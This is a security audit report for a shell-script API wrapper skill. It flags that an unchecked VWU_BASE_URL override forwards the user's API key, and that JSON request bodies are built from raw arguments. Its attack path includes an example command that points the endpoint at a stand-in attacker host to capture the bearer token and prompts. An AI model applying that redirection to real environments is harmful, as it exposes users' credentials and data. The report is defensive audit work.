vwu.ai Sora Models

• Outcome: Review
• Latest audit: Sep 12, 2026 · 2:31 AM UTC
• Version: 1.0.0

Overview

This is a small vwu.ai API wrapper, but it should be reviewed because it can send the user's API key to an undocumented custom endpoint.

Install only if you are comfortable providing a vwu.ai API key and sending prompts to the configured API endpoint. Do not set VWU_BASE_URL unless you fully trust that endpoint, and avoid putting secrets in prompts. A safer version should validate the endpoint and build JSON with a proper encoder such as jq.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

• Location: vwu-chat.sh:7

Finding

API Credential Disclosure Through an Unrestricted Endpoint Override

Content

View full analysis

Vulnerability Details

File Location: vwu-chat.sh, lines 7 and 30–32
Vulnerability Type: Unrestricted credential destination
Risk Level: Medium

Vulnerable Code

zsh

VWU_BASE_URL="${VWU_BASE_URL:-https://vwu.ai}"

zsh

response=$(curl -s "$VWU_BASE_URL/v1/chat/completions" \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer $VWU_API_KEY" \

Technical Analysis

The script permits the API destination to be replaced through the VWU_BASE_URL environment variable. It does not validate the URL scheme or hostname before attaching the bearer credential from VWU_API_KEY.

Consequently, a modified execution environment can redirect the request to an arbitrary server. The API key and user prompt are then transmitted to that server. An HTTP URL can also be supplied, allowing both values to cross the network without transport encryption.

The default endpoint is the service documented by the project, and there is no evidence of intentional exfiltration. The vulnerability arises from combining an unrestricted endpoint override with unconditional credential forwarding.

Attack Path

1. An attacker compromises a launcher, shell profile, automation configuration, or other mechanism that controls the script's environment.
2. The attacker sets an arbitrary endpoint, such as:

   sh

   export VWU_BASE_URL="https://attacker.example"
   

3. The user invokes vwu-chat.sh with a model and prompt.
4. The script constructs a request to https://attacker.example/v1/chat/completions.
5. The request includes Authorization: Bearer $VWU_API_KEY and the user's prompt.
6. The attacker-controlled server records the credential and prompt.
7. The stolen credential can subsequently be used against the legitimate service within the permissions and quota assigned to that API key.

Impact Assessment

Successful exploitation can disclose:

• The complete `VWU_API_K ...[truncated 426 chars]

Remediation

View remediation

Remediation Suggestions

• Remove the VWU_BASE_URL override if custom endpoints are not an explicit requirement.
• If endpoint customization is required, parse and validate the URL before making the request.
• Require HTTPS and reject plaintext HTTP endpoints.
• Restrict credential-bearing requests to an explicit hostname allowlist.
• Do not forward the production API key to custom endpoints by default; require a separate credential variable for non-default services.
• Display a clear confirmation or warning when a non-default endpoint is selected.
• Consider rejecting URLs containing user information, unexpected ports, fragments, or other ambiguous components.
• Add tests confirming that unapproved schemes and hostnames are rejected before curl is executed.

T09 · Insecure Skill Coding Practices

Warning

• Location: vwu-chat.sh:33

Finding

JSON Request-Body Injection Through Unescaped Model and Prompt Arguments

Content

View full analysis

Vulnerability Details

File Location: vwu-chat.sh, lines 33–37
Vulnerability Type: Improper JSON construction and request-body injection
Risk Level: Medium

Vulnerable Code

zsh

    -d "{
        \"model\": \"$MODEL\",
        \"messages\": [{\"role\": \"user\", \"content\": \"$PROMPT\"}],
        \"stream\": false
    }")

Technical Analysis

The script constructs JSON by directly interpolating the command-line values MODEL and PROMPT into a double-quoted string. Neither value is encoded as a JSON string.

Characters such as quotation marks, backslashes, and control characters can therefore terminate or corrupt the intended JSON strings. A crafted argument can insert additional JSON properties or message objects if the resulting structure is accepted by the remote parser. Ordinary prompts containing quotes or line-control characters can also produce malformed requests and cause availability or reliability failures.

This is request-body injection, not shell-command injection: shell metacharacters contained in the expanded variable values are not re-evaluated as shell syntax. The controllable security boundary is the JSON payload sent to the API.

Attack Path

1. An attacker controls, influences, or convinces a user or automation system to supply a crafted model or prompt argument.
2. The argument contains JSON syntax that closes the intended string and introduces additional request structure.
3. The shell interpolates the argument verbatim into the request body.
4. The script sends the altered body to the configured chat-completions endpoint.
5. Depending on the API parser's handling of injected or duplicate fields, the request may contain attacker-selected properties, additional messages, or altered behavior.
6. If the crafted input instead produces invalid JSON, the request fails, resulting in denial of service for that invocation.

Impact Assessment

Exploitation can a ...[truncated 622 chars]

Remediation

View remediation

Remediation Suggestions

Construct the request with a JSON-aware encoder rather than string interpolation. For example:

zsh

payload=$(jq -n \
    --arg model "$MODEL" \
    --arg prompt "$PROMPT" \
    '{
        model: $model,
        messages: [{role: "user", content: $prompt}],
        stream: false
    }')

response=$(curl -s "$VWU_BASE_URL/v1/chat/completions" \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer $VWU_API_KEY" \
    --data-binary "$payload")

Additionally:

• Validate MODEL against the entries in models.txt if arbitrary model identifiers are not required.
• Preserve prompts as opaque strings and never concatenate them into serialized formats manually.
• Add tests for quotes, backslashes, newlines, Unicode characters, and attempted JSON-structure injection.
• Use curl --fail-with-body and verify that the response is valid JSON before extracting fields with jq.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep

Findings (3)

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

This markdown skill description forces a specific language/locale for core usage instructions, configuration, and troubleshooting. The policy allows locale constraints only when justified or when the user is given a language choice, neither of which is present here.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

The script's comments and all user-facing messages are in Chinese, including error and usage output. This imposes a specific language/locale on users without opt-in or explanation, which matches the policy category for language or locale violations.

Content

No source excerpt is available for this finding.

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 89% confidence

Finding

The script sends the user-supplied prompt and API bearer token to an external service via curl. External transmission is expected for an API client, but it is still security-relevant because any sensitive data placed in the prompt will be exfiltrated to a third-party endpoint, and the destination is configurable through VWU_BASE_URL, which could redirect secrets to an attacker-controlled server if mis-set.

Content

Scanner excerpt · vwu-chat.sh (reported line 32)May include surrounding context.

sh

fi

# 调用 API
response=$(curl -s "$VWU_BASE_URL/v1/chat/completions" \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer $VWU_API_KEY" \
    -d "{

Static analysis

No suspicious patterns detected.